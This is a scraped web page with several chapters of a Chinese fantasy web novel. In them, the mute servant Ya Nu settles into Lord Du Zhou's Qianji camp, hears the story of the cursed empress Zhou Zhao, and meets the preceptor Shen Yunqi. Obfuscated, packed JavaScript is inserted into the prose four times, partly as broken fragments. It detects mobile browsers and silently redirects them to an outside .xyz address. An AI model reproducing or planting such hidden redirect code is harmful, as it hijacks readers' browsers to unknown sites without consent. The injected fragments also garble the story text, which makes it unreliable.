d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406305|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,雪花冰冷落在她的眼皮上,哑奴抬眼望去,却见江上尸骨漂浮绵延不绝,那颗阴魂不散的人头顺着江面而来,一刻不停地叫道: 周昭罪该万死!罪该万死啊! 哑奴猝然起身,睁开双眼,一把将那颗咬住自己不放的人头推开,只听一声尖利的猫叫,哑奴心跳如鼓,眼前只有那颗血淋淋的人头,愣住半晌才反应过来自己身在何处。 姜家灭门案,连同让九洲城人心惶惶的左腿凶杀案终于告一段落。 刚恢复自由身一日的哑奴又过上了看家喂猫的护院生活。 这都怪她自己。 那日渡舟问她要跟自己走还是回衙门,哑奴问渡舟:“你会救大人的,对吗?” 不知道是渡舟看上去实在很靠得住,还是她突然想起了不辞而别那晚站在屋顶向牵机营远远的一瞥。 总之,她一时鬼迷心窍,又把自己送进了荧木口中“危机四伏”的牵机营。 哑奴没有父母,没有亲人,没有过去。至于将来,也只是眼前迷雾水中倒影。她不知道渡舟是不是跟她一样,反正有那么一瞬间,她在牵机营那些游离而沉默的傀儡身上找到了从未有过的归属感。 没遇到渡舟之前,哑奴从不觉得孤独。如今她才知道,原来一个人的孤独是与生俱来的,只不过从前她毫无知觉,如今才觉得有处安放。 趴在她胸口饿得直叫唤的白猫尤其不满意地吹胡子瞪眼,哑奴缓过神儿来,呼噜了一把般般的脑袋,翻身下床。 我没来之前,这猫到底是怎么长这么肥的? 哑奴想不通,抄起般般夹在臂弯里出门找食儿。 牵机营宽敞,从这里看出去的月亮总是又大又亮,像玉盘悬挂在琉璃瓦舍上,哑奴很喜欢。 说是喂猫,其实也只是哑奴将傀儡准备好的食物拿来喂它,这猫尤其挑食,过夜的东西一概不吃,太小的看不上,太大的也不吃。 哑奴不禁怀疑这猫是不是跟渡舟有过命的交情,否则她想不出第二个渡舟竟然愿意养着这么一只琐碎又精贵的猫的理由。 吃吧吃吧,多吃点儿。 哑奴站起来走走,却看见上回见过的那位戴银面具的男子正脚步匆匆地走过来。 他看见哑奴时脚步顿了一下,点点头算是打了个招呼,接着又往里走了。 没过片刻这人又走回来,很是自来熟地走到哑奴面前,问道:“主君人呢?” 哑奴摇摇头,她怎么知道。 “好吧。”男子转身后又回头,看了眼正在“用膳”的白猫,狐疑道,“主君……是把你留下看家了?” 算……是的吧。 男子见状精神抖擞,手中折扇摇了两下,还算友好地说道:“在下复姓上官,名富贵,以后咱们就是同僚了。对了,你叫什么?” 哑奴还是摇头,她没有名字。 她不知道自己是一生下来就没有,还是中途把名字搞丢了,反正她什么都想不起来。 这时,一个无比清晰的名字如同一道骤亮的闪电,连声招呼也不打就滚进她的脑海里:周昭。 8. 亡国君 以往哑奴做梦都是梦醒便算,梦中身临其境,醒来像团浆糊,多半都记不得。 可刚才她却生平第一次记起了那个梦里人的名字,紧跟着周昭二字蹦出来的便是那些悬挂在树上的人头,以及人头嘴里吐出来的“杀母弑兄,罪该万死”八个大字。 寒意猝不及防地顺着脊梁爬上来,哑奴狠狠打了个冷颤,上官试探地问道:“喂,你怎么了?” 哑奴左右看看,捡了根木棍在地上写了两个字。 “周......”上官凑近看看,“周昭?” 他跟着念完,立刻如临大敌般用脚尖将地上的字迹抹干净,神色戒备紧张,问道:“你写这个干什么?” 哑奴比划道:“她是谁?” 问完这句,哑奴又将那日在城郊破庙捡到那把铁剑的事儿告诉上官,同样不理解地问:“杀神庙,又是什么?” 上官若有所思道:“怪不得,我那天还奇怪,你到底是怎么跟丹妙打得有来有回,原来是杀神庙庇护。” 他说话说一半,勾得哑奴心痒痒,一个劲儿地追问,偏生上官三缄其口,一脸为难,小声道:“你刚来不知道,牵机营有个规矩,不许提到这个名字。要是被主君发现,咱俩没好日子过。” 哑奴不理解,又问:“为什么?” 上官用扇子装模做样地敲敲哑奴的脑袋,答道:“哪儿来这么多为什么,不能说就是不能说。不光这里,大宣朝是没人敢议论那位天子的,我劝你还是别瞎打听。喏,咱们的二主子吃饱喝足了,快伺候着去。” 二主子? 哑奴回头一看,般般一脸餍足地举起前爪舔毛,好大的二主子派头。等她“毕恭毕敬”地抱起般般,上官早溜得没影儿了。 她思来想去,将自己认识的人掰着手指头数过去,最后发现能说上话的只有荧木。 也不知荧木怪我没有。 哑奴第二日午后便去寻荧木。渡舟虽然将她带回来,但其实压根不管她,因此哑奴十分顺利便出了牵机营来到衙门。 几日不回来,衙门很是热闹,不过这份热闹显然与哑奴无关。人人都在大谈前些日子姜宅和乱葬岗的案子,完全没注意到哑奴。 哑奴在后院找到荧木时,对方正在树下睡觉,一动不动,比停尸房的死人还真。 哑奴正犹豫要不要推他一下,荧木忽然睁开眼睛,冲哑奴笑了笑:“你怎么来了?” 哑奴觉得荧木刚醒来时的表情好像跟从前咋咋呼呼的样子不太一样,一时间还有点儿不习惯,打着手势:“我有件事儿想不明白。” 荧木伸了个懒腰,再开口说话已经是哑奴熟悉的语气:“你怎么消失了这么久?等等,你该不会......” 哑奴没反对。 荧木痛心疾首道:“完了完了!你果真是被牵机营搞坏脑子了!唉,我是劝不动你了,说吧,找我什么事儿?” 哑奴将前前后后跟周昭这个名字有关的所有事情都讲了一遍,甚至连自己那模糊不清的梦境也说了。荧木微微睁大眼睛,看上去有种很是克制的惊讶,问道:“你说你梦到谁?周昭?” 哑奴点点头。 荧木似乎在犹豫要不要说,但只消片刻,他便开口道:“周昭是大周朝宣庆年间唯一的皇女,身份尊贵,距今已有一千三百年了......周朝你还记得吗?那是开天辟地以来第一个王朝。” 天气晴朗,树叶被阳光照得闪闪发亮,几根细细的光束透过缝隙落在荧木脸上,那张再普通不过的脸也在这一刻渐渐生动起来。 “但......周昭却和敌国私通,谋朝篡位。最初是说周昭杀了自己的亲哥哥夺位,巧的是那时在位的宣庆帝跟皇后双双暴毙,周昭自己又亲口承认杀母弑兄,坐实了这骂名。周昭登基后,战乱不断,短短六年,周朝便在她手里灭国了。” 虽然近年官府严令禁止民间议论,但周昭亡国是史书白纸黑字写明了的事实,亡国君这个词就是从周昭传下来的,早就传了上千年,哪里堵得住悠悠众口。 其实,周昭也并非萤木说的那般一无是处。时间再往前退一千多年,退回到周昭刚满十七岁的时候…… 彼时周昭还不是皇帝,只是宣庆帝的独女—— 明鸢殿下。 周昭生辰那日,晋川大捷,她一身戎装意气风发,一座神女殿为她而立,日夜供灯祈愿不断。 那是周昭这一生最得意,最美满的时光。 “可惜好景不长,”萤木道,“周朝亡国那晚,皇帝周昭被万民绑在祭台挖心献祭亡灵,尸骨无存……” 哑奴打了个哆嗦:“为什么呢?没人告诉他们这样是不对的吗?” 荧木摸了摸鼻子,低声解释道:“周昭名声不好,脾气阴晴不定,据说她在位时曾一日杀过上百人。” “她......是生病了吗?” 荧木突然不说了,他停顿片刻,从树上摘了片叶子盖在眼睛上,少年音色显得有点发闷:“周昭一生虽众叛亲离,遭万民唾骂,但她逢战亲征,十有九赢,死在她剑下的亡魂不计其数。因此民间也有喜好杀伐之人暗中祭拜她,拜的就是那臭名昭著的明鸢殿下,祈求借她三分宝剑锋芒,神挡杀神遇鬼斩鬼。别说,有时还真十分灵验,所以慢慢地民间就多了很多杀神殿。” 哑奴听得入迷,原来那日她侥幸得救,是那位一千多年前的杀神皇帝显灵。 她当即双手合十,十分虔诚地朝着城郊方向拜了拜。 荧木摘下叶子,皱着眉头道:“你干嘛?” 拜杀神啊。 荧木一把将她拉起来:“你不需要拜。” 哑奴装着一肚子人尽皆知的“秘密”离开衙门,九洲城本就是繁华地,今日不知为何尤其热闹,入目皆是流光溢彩之景,好看得不得了。 人们三两成群,说说笑笑地从哑奴身边走过,像风景似的。她突然不太想回牵机营,一直游荡到月上柳梢,陆陆续续的风景看得人眼花缭乱,哑奴的肚子很不合时宜地叫了一声。 这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406306|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长街上那些琳琅满目的小吃摊突然活了,让人口水直流的味道一个劲儿地往哑奴鼻子里钻。 有白气腾腾的馄饨挑子,油锅里滋滋作响的炸糕,还有桂花糖水,虾子豆腐脑……香气四溢,勾得哑奴肚子又叫了两声表示抗议。 她摸摸扁扁的肚子,又摸了摸瘪瘪的口袋,十分沮丧地想道:“从前大人偶尔心情好时,也会丢我几枚赏银,渡舟那么那么老大一个官儿,抠门!” 闻得到吃不到,真乃遭罪也。 哑奴慢腾腾地挪动脚步,很是努力地把眼珠子从那焦香扑鼻的烤饼上收回来,一边想着快些回牵机营吃饭,一边又想着,如果谁在这时候从天而降给她买烤饼吃,这人就是她失散多年的亲爹娘。 正想着,迎面撞上渡舟。 哑奴总算把目光从烤饼放在来人身上,对方抱着般般,居高临下地看着她。 继而抬了抬下巴:“口水,擦擦。” 哑奴眨眨眼睛。 “想吃那个?” 渡舟转身离开了会儿,回来时把烤饼递给哑奴。哑奴受宠若惊,在要不要认渡舟当爹跟要不要吃之间犹豫了短短一瞬,生怕渡舟反悔,赶紧咬了一口。 果然外皮酥脆,口齿留香。 等她吃完了,才开始想渡舟为什么会出现在这儿这个问题。 渡舟今日装束跟往日不大一样。平常渡舟多穿深色外袍,样式繁复,华贵之下隐隐透着股让哑奴不敢多说话的威严。 今日渡舟却罕见穿了身白衣,连头发都尽数挽起,一丝不苟束成发冠,十分的低调并且......规矩。 不错,是规矩。 渡舟应该不是来找我的,渡舟肯定不是来找我的。他这身打扮,倒像是要去什么很重要的地方,见什么很重要的人。 令世人闻风丧胆的牵机营主君,就这么跟哑奴在市井长街闲逛。偶尔有人对他们投来好奇的目光,大概是觉得渡舟长得太好看,身边却跟着个平平无奇的小丫头。 不过渡舟身上的气场太冷,每每有人多看一眼便缩着脖子很快走开了,因此他们周围竟十分宽敞。 “还想吃什么?”渡舟问。 哑奴在心里默默道:什么都想吃。 这种堂而皇之花渡舟银子的机会可不多,渡舟竟也十分好说话,哑奴指什么都给买,引得怀里的“二主子”喵喵叫表示不满。 路过一处点心铺,渡舟漫不经心地停下脚步,转头说道:“这家点心很有名,尤其是蟹粉酥。” “蟹粉酥”三个字渡舟咬字略重,接着便用那种让人心里忍不住紧张的专注看着哑奴。 哑奴一直觉得渡舟虽然平时对她压根不关注,但只要他们两个在一起的时候,这人又好像时时刻刻在观察她。 就像现在这样。 她不明白渡舟为什么会流露出这样的神情,这人矜贵又傲慢,那双没什么波澜的凤眸看谁都是很随便地向下扫一眼,偏偏这时候会有几分说不上来的,好像姿态放得很低的专注。 9. 月圆夜 哑奴反而承受不了他这样重若千钧的目光,渡舟太强了,一个强大的人突然低头,让她本能的有种危机感。于是胡乱点点头,比划道:“我们回去吧。” 渡舟眼中的专注很快散了,又变得拒人于千里之外。往牵机营的方向走了阵子,他好像反悔了,驻足问道:“要不要跟我去个地方。” 可以……不去吗? 哑奴试探着摇头。 渡舟视而不见,转身说道:“走吧,跟着我。” 哑奴:“……” “去哪儿?” 渡舟打哑谜,也可能是懒得跟她说,敷衍道:“到了你就知道了。” 哑奴亦步亦趋跟在渡舟身后,很快就发现这跟寻常走路不同。 刚走一步,周围的声音突然间就消失了,就好像一下子被抽走了,立刻从人声鼎沸的闹市掉进安静得有些诡异之所。 而这个地方还没来得及细看,再走第二步时,景色又大不相同。 虽是傍晚看不清楚,但声音和温度变化很明显。走了几步便觉得身上有些冷,像夜深露重的山林。 少顷,他们便来到一处极为开阔的地方。 这是片一望无际的青草地,地势很高,一轮圆月肃穆宁静,高悬于空。 渡舟抱着猫,般般在他怀里难得安静。哑奴觉得一定是自己看花了眼,竟然觉得渡舟那张冰块似的脸在月光下透着股柔和。 来这里做什么? 莫非渡舟知道怎么把魇鬼弄出来了,需要在这片开阔地做法吗? 哑奴是没听过做法需要挑选合适的地方,既然已经来了,她便安安静静地站在渡舟身边。没站几分钟,哑奴又忍不住动来动去。 头顶那轮月亮实在太大太亮了,就像一盏圆圆的灯笼,还像一只黄灿灿香喷喷的月饼。哑奴咽咽口水,终于伸出手,小心翼翼地摸了摸月亮的轮廓。 渡舟问道:“喜欢月亮?” 哑奴回过头,眼睛亮晶晶的,老实回答道:“我没吃饱。” 渡舟的脸上浮现出一种很奇怪的表情,不知道是不是在笑话她。 忽然,天地间传来几声长啸,不像人也不像动物。随后数个黑影如闪电般从山林里窜出来,他们青面獠牙形如鬼魅,个个丑陋不堪。 哑奴大吃一惊,渡舟却道:“别怕。” 怕倒是不怕。 不过......哑奴一眼便看出这些都是非人之物。数了数,一共九个,个个都一副白日撞鬼的惊悚模样……不好意思,他们就是鬼。 哑奴实在想不通渡舟大晚上叫她来这么远的地方难道就是看九只丑鬼吗?她兴致不高,但紧跟着,更奇怪的一幕发生了—— 这九只青鬼竟然齐齐整整地跪下来,对着月亮叩首。 眼前的场景实在诡异至极,哑奴惊讶不已,身边渡舟反问道:“好玩吗?” 好玩?这有什么好玩的?! 哑奴觉得渡舟这个人心理大大的有问题,喜欢看这种匪夷所思的恶作剧表演,忍不住侧着脑袋问道:“他们都是你的手下吗?” 渡舟似乎嗯了一声,像是自言自语,又像是说给她听:“这些人犯了大罪,每逢月圆便来这里请罪,直到太阳升起才能离开。” 原来是这样。哑奴明白了,渡舟作为这些鬼头的主子,不得不跟着一起受惩罚,在每个月圆之夜监督他们。想到这里,哑奴不禁对渡舟深表同情,拍了拍他的肩膀,以示安慰。 渡舟低着头看她一眼,轻飘飘地问:“你还有什么问题?我可以一并回答你。” 机不可失失不再来,哑奴立马举手问道:“我想知道,那株月季到底是怎么变成妖的?” 渡舟在月亮下席地而坐,白猫温顺地卧在他脚边,他道:“妖若想幻化人形,非五百年光阴不能。最快的也要三百年,而那株月季,不过瞬息之间化形,确实蹊跷。” 不待哑奴追问,渡舟很给面子地继续道:“不论是花妖,还是突然变成厉鬼伤人的柳叶禾,她们都有一个共同点,身上有一股凭空出现的戾气。” 哑奴立刻道:“就是这戾气让她们一个朽木化妖,尸骨化鬼吗?” 哑奴的手语比划得又急又快,多亏渡舟竟然能跟上她的速度,点头道:“你有没有听说过魂片?” 哑奴不曾听过,渡舟道:“人有三魂七魄,肉身死后魂魄出窍,有的转世投胎,有的留恋人间变成孤魂野鬼。二者虽然不同,但都有一个必要的前提条件,魂魄必须完整。不过有的时候魂魄并不都是完整的,在某些极端情况下魂魄会撕裂成碎片,其中一些意念顽强的就会变成魂片。魂片怨气极重,戾气极强,能化妖生鬼。” 哑奴一点就透,问道:“你的意思是,那株月季跟姜夫人都是被魂片所激化?” “对。” “这些魂片从何而来?” “来路不明,还需详查。丹妙那时突然出现,其真实目的不在狐妖,而在她身上的魂片。换句话说,丹妙并不想让人发现魂片的存在。” 哑奴恍然大悟。难怪,丹妙那时候急着带走尸体是因为这个。 不过月季被迫化形,却尚未开化心智不全,不能分善恶,杀人全凭本性。哑奴道:“这么看来,姜家之祸,其实罪不全在月季花妖。” 渡舟却面露嫌恶:“妖就是妖,妖的话,不可信。” 哑奴问道:“如果你是她,你会怎么选?” 这句话似乎问到了渡舟,因为他沉默了许久也没有开口,眼睛一直注视着还在月光下长跪不起的小鬼们,久到哑奴都以为对方没看懂她的话,渡舟才慢条斯理道:“没得选。如果我是她,我不会让姜家留下一具全尸。” 哑奴心头微微一惊,渡舟的语气仿佛淬了冰,一下子变得陌生起来。 渡舟对哑奴心里所思所想并无察觉,或者说,渡舟这个人并不介意在别人面前表露自己真实的想法。他站起来向远处走了几步,哑奴跟过去,发现那里有一处破败的城墙遗迹,掩盖在疯长的野草下,依稀还有被火烧焦后留下的痕迹。 “这是城墙,周朝的城墙。” 周朝……难道就是荧木说的周朝? 哑奴想到那个无缘无故的梦,一阵发冷,小心翼翼地问道:“为什么牵机营从来不许谈论那位周朝的皇帝?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406307|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁将殿下之事告诉你的?”渡舟语气生硬,冷哼道,“衙门的人,胆子越来越大了。” 坏了,被渡舟发现了。 哑奴做贼心虚,眼珠子左右转,举起两只手摆来摆去:“不是的,不是......我......”她偷偷瞄渡舟,见对方神情和缓下来,才又问:“你也觉得她有罪吗?” 渡舟眸光略沉:“这世上最可怕的不是刀剑,而是人心。” “你还没有回答我的问题。” 渡舟转身递给哑奴一根木棍,卖关子道:“你舞个剑,我便讲给你听。” 还要舞剑?听说九洲城的人最喜欢去仙人醉寻欢作乐,难道渡舟的雅兴却在于找个月黑风高的夜晚,一边监督小鬼磕头,一边看别人舞剑? 哑奴不理解,非常不理解,但她勉强可以接受用舞剑来换一个故事。 她接过木棍,煞有其事地比划起来。 “不是这种花拳绣腿。”一根笛子迎头打来,渡舟微眯着眼睛,“你那日怎么打丹妙,现在就怎么打。” 哑奴没空细想,因为渡舟是真打。他那根笛子平时看起来毫不起眼,但握在渡舟手里当武器却十分顺手,她左边刚挡住,右边又跟着来,渡舟一手握笛子,另一只手背在身后,游刃有余步步紧逼。 哑奴有些生气,好胜心一起,下手便没个轻重,眼看玉笛又挟风而来,哑奴侧身避过反手便击,这一下力量不算轻,哑奴心惊道:“坏了!要是把那根笛子打碎了,渡舟一定会让我赔钱的!” 咔擦,哑奴手中一轻,原来渡舟的笛子没碎,反倒是自己的木棍断成两截了。 还好还好,不用赔钱。哑奴松了口气,渡舟将笛子在指尖转了个圈儿,凝着她看了半晌,眼神里有很多哑奴看不懂的东西,直到哑奴被他盯得心里不大舒服,他才又盘腿坐下,跟唤猫儿似的招手道:“过来。” 哑奴把剩下半截木棍丢开,坐在他身边,没敢坐太近。 渡舟声音很低,慢慢讲道:“传说混沌之初,天下灾祸不断,妖邪肆虐。一场大战持续百年,人虽胜出,但古战场尸横遍野,戾气漫天。神兽毕方自愿赴死,骨化山川,羽化屏障,净化天地瘴气,封印于无相渊。又念周氏祖先周武斩杀妖兽救世有功,将神血赠予周氏一脉,使其肩负维系天下和平的重任。” “自那以后,人界尊周氏为皇帝,周武则为开国始祖。毕方神血延续千年,落地无垢。入土则孕育灵植,入体能净化邪祟。不过只有当人皇一脉心甘情愿献出鲜血,才会发挥神血之作用。” 渡舟的声音本就好听,此刻说来不紧不慢,哑奴听得入迷,忍不住比划道:“好厉害,世间真有这么厉害的神血吗?” “嗯,有的。” “长什么样子?也是红色的血吗?”哑奴继续追问。 渡舟一字一句道:“当然。不过,就算一个人有再多的血,无论是不是神血,有朝一日血流干净了,人就会死。” 哑奴突然想到那位亡国君周昭,她是周朝最后一位皇帝,也就是说自周昭以后,这个世间再也没有毕方神血了。 “周昭,也是这样死掉的吗?” 10. 国师 渡舟又不跟她讲话了,这次沉默的时间要比刚才还要久。哑奴一阵烦躁,她最讨厌看一个人沉默,因为她自己不会说话。于是拍拍手站起来,伸了个懒腰,余光瞥见那些可怜的小鬼们仍然在铿锵有力地磕头。 哑奴心想,如果月亮会说话,一定会把这些讨厌鬼通通赶走。 她摸了摸自己的肚子,控诉道:“我饿了。” 渡舟妥协道:“好吧,不过下次再想听故事,估计就要很久之后了。” 哑奴不甚在意,觉得周昭的故事一定不是个好听的故事,她敢打赌比月季的故事还要不好听。哑奴不喜欢听这些,她更喜欢人间欢乐阖家团圆。 他们正要离开,渡舟却忽然驻足:“有意思,丹妙跑了。” 哑奴跟随渡舟回到牵机营,地牢空空如也,丹妙早不见踪影。 恰逢此时,深宫来信说当今圣上有请。 “真麻烦。”渡舟接了呈上来的圣旨便随手丢掉,哑奴捡起来擦擦上面的灰,急切比划道:“我听说皇帝是最厉害的人物,你能让他帮我找找大人吗?” “小皇帝才多大。”一个陌生人从哑奴手里拿走圣旨,放在一边不理,“主君,丹妙刚跑,宫里便有动静,属下认为未免太巧。” 这人长了张再普通不过的脸,随便扔到大街上都能找到三五个异性兄弟,哑奴一时没认出来,听他说话才吃了一惊:这竟然是摘了面具的上官大人。 上官同僚冲哑奴隔空打了个眼神,以示友好。 “就怕心有余,力不足。”渡舟放开怀里的猫,一个傀儡捧着外袍进来,上官跟着点头,蹙眉道:“姜家之事牵机营插手太深,小皇帝眼尖,怕是要探您的口风。” 渡舟抬眸,眼中并无波澜,淡淡道:“那就给他探,能探多少是一回事,吃得下才是本事。” 上官接话道:“陆巡抚那边……” 渡舟道:“你看着办吧。” 哑奴一直听得稀里糊涂,终于听到认识的人,见缝插针地问:“陆大人怎么啦?” 上官看了渡舟一眼,才道:“姜家杀母这种陈年丑事都被牵机营挖出来公告天下,宫里那位坐不住了。再加上贵妃吹枕头风……枕头风你不知道?就是煽风点火。陆轻苹是这案子的主办官员,既没有将此事遮掩过去维护皇家颜面,又没有护住姜家。正所谓杀鸡儆猴……又摇头,这个也不知道?” 渡舟冷声道:“少教她这些。”他歇够了,终于站起身要走,又想起什么,转身道:“赵天德今年多大了?” 上官微微心惊,却没在面上表露,小心答道:“主君记混了,那是先皇。如今天子是赵允城,过了中秋就满二十了。” 渡舟说了声哦:“这个年纪,又一直养在宫里,一时兴起想玩玩儿也正常。不过玩归玩,不该碰的东西还是离远点儿好。” “主君说的是。” 般般见渡舟要走,扒拉着他的靴子不放,渡舟一脚踢给哑奴:“看着,别乱跑。” 上官心想:这不是说猫,说人呢。 正是中秋佳节,九洲城一派祥和热闹之景。不单是因为过节,还因为大宣国师沈云起要回朝了。 国师十七岁入朝为官,平南叛,颁新令,桩桩件件皆利国利民。 半年前沈云起自请去北方治理水患,如今大坝已成,北方水患百年内绝无再泛滥之可能,人民自然欢欣鼓舞。 除了国师回朝,宫里还发生了件不大不小的事儿。刑部上奏弹劾陆轻苹办案不力结案不明,凶手未缉拿归案反而用“消失在天地之间”这种不痛不痒的话来搪塞。 天子顺手推舟,非但不赏,反而将陆轻苹连降三级贬为九洲城县令。 不过这些都是后来哑奴听上官大人讲的,最近这几天非但渡舟不在,上官也没来过,哑奴十分无聊,整日跟般般打架消磨时间。 一日清晨,一辆马车悄无声息地停在仙人醉门前,其间走出来一个身穿宝蓝流云袍的翩翩公子。 他头戴斗笠,在一面石墙前突然消失了踪影,继而出现在牵机营的密道里。 他一路穿行,十分熟悉,七拐八绕便来到后院。正是中秋佳节,到处张灯结彩,但牵机营却一如既往的肃穆安静。 这位公子正急匆匆往里走,突然窜出来一只白猫。那猫张着爪牙一闪而过,他避之不及微微踉跄,又被一个黑色的身影猛地一撞。 这一撞不要紧,斗笠掉下,露出一张明媚似骄阳的脸来—— 肤色是很健康的暖白,稍尖的下巴微微扬起,眼瞳大且乌黑,眼底压着几分隐隐的锐气张扬。 二人擦身而过,哑奴愣愣地回头鞠躬道歉,一时竟分不清这是位年轻俊朗的公子哥儿还是位姑娘。 对方许是见她年纪尚小,也不生气,莞尔一笑:“小妹妹,当心些。” 等“他”开口说话,哑奴才知眼前竟是位女子。细看之下,虽未施粉黛,却让人觉得如冬日晴光般眼前一亮。 那边白猫已经跑远了,哑奴冲她微微点头,顾不得再看便追猫去了。 此人正是大宣国师,沈云起。 她走了几步,又狐疑地朝哑奴离开的方向看了一眼。 哑奴颇费了一番功夫,累得满头是汗,终于将渡舟那只顽皮白猫捉住,好一通闹腾才发觉肚中无食,便将猫举在头顶往后殿去。 牵机营大得不得了,哑奴看每扇门都觉得眼熟,于是每扇门都想推开看看有没有饭吃。她在这里待了几日,发现牵机营虽然大,但活人少得可怜,几乎服侍的都是傀儡,偶尔会有几个暗卫,也都来去匆匆。 渡舟真可怜,哑奴心想,这里的人还没衙门多。 哑奴一边想,一边心不在焉地拍开一道门,却看到两双四只眼睛齐刷刷看过来—— 不,准确来说是三双六只眼睛。 除了刚才撞见的那位,以及消失了好几天的上官大人,渡舟也在。 前面两人显然被哑奴吓得面部略微扭曲,目光不可言说。 渡舟最是悠闲,整个人斜倚在那把铺着兽毯的巨大座椅上,一条腿微曲,几缕发丝随意地垂在脸侧,好整以暇地望着她。 “过来。” 渡舟发号施令,般般从哑奴头上一跃而下,顺便勾走了她额前几根头发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406308|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上官调整好表情,干笑两声,打招呼道:“好久……不见?” 沈云起端正坐着,目不斜视。 哑奴觉得自己来得不是时候。因为她推开门的那一瞬间,好像听到里面在说什么“不会再有下次”、“圣上那边会处理好”云云。 这新来的大人也对渡舟低声下气,可见传言不虚,牵机营果然一手遮天。哑奴看渡舟的眼神又多了几分复杂,将头上一根两根猫毛揪下来,比划道:“你的猫,还给你。” 渡舟很敷衍地摸了把猫背,抬头看她,冷不丁道:“猫饿了,传膳。” 上官:“?” 沈云起:“?” 哑奴:“好!” 傀儡们拎着食盒鱼贯而入,山珍海味摆了满满三张桌子,旁边惯例有只精致的小木桶,里面装的是般般口粮。 渡舟将白猫放下,又道:“怎么,不合胃口?” 哑奴觉得很合胃口,就是不知道为什么上官大人跟那位姐姐脸色不大好,特别是渡舟这么说以后,他们终于一脸惊恐拿起碗筷闷声吃起来。 哑奴见沈云起长得好看心生欢喜,但看她吃饭细嚼慢咽实在费劲,心想这姐姐当着渡舟的面儿必定不大好意思吃东西,当即撕了只油光水滑的鸡腿递给她。 沈云起当下接也不是,不接也不是,正为难,渡舟开口道:“好生吃饭,莫管闲事。” 沈云起谢过哑奴,干笑道:“主君,这是您新收的婢女吗?性子倒十分……活泼,就是不会说话,有点可惜,是哪里人?” 沈云起一边打量着哑奴一边问东问西,上官一口饭噎在喉头,桌子底下轻轻踩了沈云起一脚,示意她少说几句。 沈云起却毫不知情地问个不停,上官只好又踩一脚,沈云起扭头叫道:“你踩我干嘛!” 上官富贵:“……” 哑奴探过头张望,口型问候道:“上官大人好啊。” 沈云起见上官脸色堪比猪肝,不便追问,却拿眼神狠狠瞪了上官一眼。 这席间唯一不怎么吃东西的,就是渡舟了。哑奴见他偶尔捻起一团点心,或是夹起一块肉,多半也是喂猫,又见他年纪轻轻两鬓垂白发,想必身体不太好,实在可怜。 渡舟似乎留意到哑奴的目光,眉宇间流露出一丝不解,恰巧白猫将一只活鱼一口咬掉,他便又低头逗猫去了。 这顿饭对哑奴来说吃得相当满意,对其他人可未必是那么回事儿了。等他们三人退出房门,先是上官长长地吐出一口气,还未回神,又被一双手掐着腰强行押走。 “哎哎松手!” 沈云起再三确认没有其他人看到,才松开他压低声音道:“富贵儿,我走的这段时间都发生什么了?那个小丫头从哪儿来的?我问主君也不说,你肯定知道对不对?” 哑奴丝毫没有察觉沈云起看着她的眼神不大对劲,蹦蹦跳跳地往这边跑。 上官富贵远远地冲哑奴挥手打招呼,又小声对沈云起道:“你看不出来吗?那就是个傻姑娘。” 沈云起又打量一番,此女年纪太小,长得太黑,个头太矮,行为粗鲁,确实不大聪明。 11. 讨好 上官观沈云起神情,琢磨出几分不对。 沈云起刚入城不去面圣反而来见主君,说什么汇报北方水患治理进展?要我说被骂一顿都是轻的,小皇帝动作频频,这个节骨眼儿上还敢不先奏天子? 上官思虑再三,道:“罢了,左右你的事情我也没道理管。反正,那姑娘的事儿你少打听。” “好吧。”沈云起欲言又止,“刑部那份弹劾的折子,是你让递的?” 上官笑而不语,沈云起鄙夷道:“害人不浅。” 上官不置可否:“没有这份折子,哪能探出小皇帝的胃口来?” 沈云起不大赞同地摇头:“小心引火上身。” “总有国师大人替我兜着不是。” 沈云起白他一眼,正欲刺上几句,见哑奴已走到近跟前儿,二人便很默契地不再说了。 上官逗她:“那只白猫,好玩儿吗?” 哑奴连连摇头,做出挨打的手势,比划道:“不听话,烦人。” 沈云起小声道:“她真一点儿不会说话啊?” 上官用看白痴的眼神看了眼沈云起。 真可怜。沈云起立时爱心泛滥,热切地拉住哑奴的手,问道:“小妹妹,你今年几岁?家中父母还健在否?要不要跟姐姐回国师府住?” 从未有人这般温柔对哑奴讲话,哑奴只觉心头鼓鼓胀胀,说不上来的有点想哭。 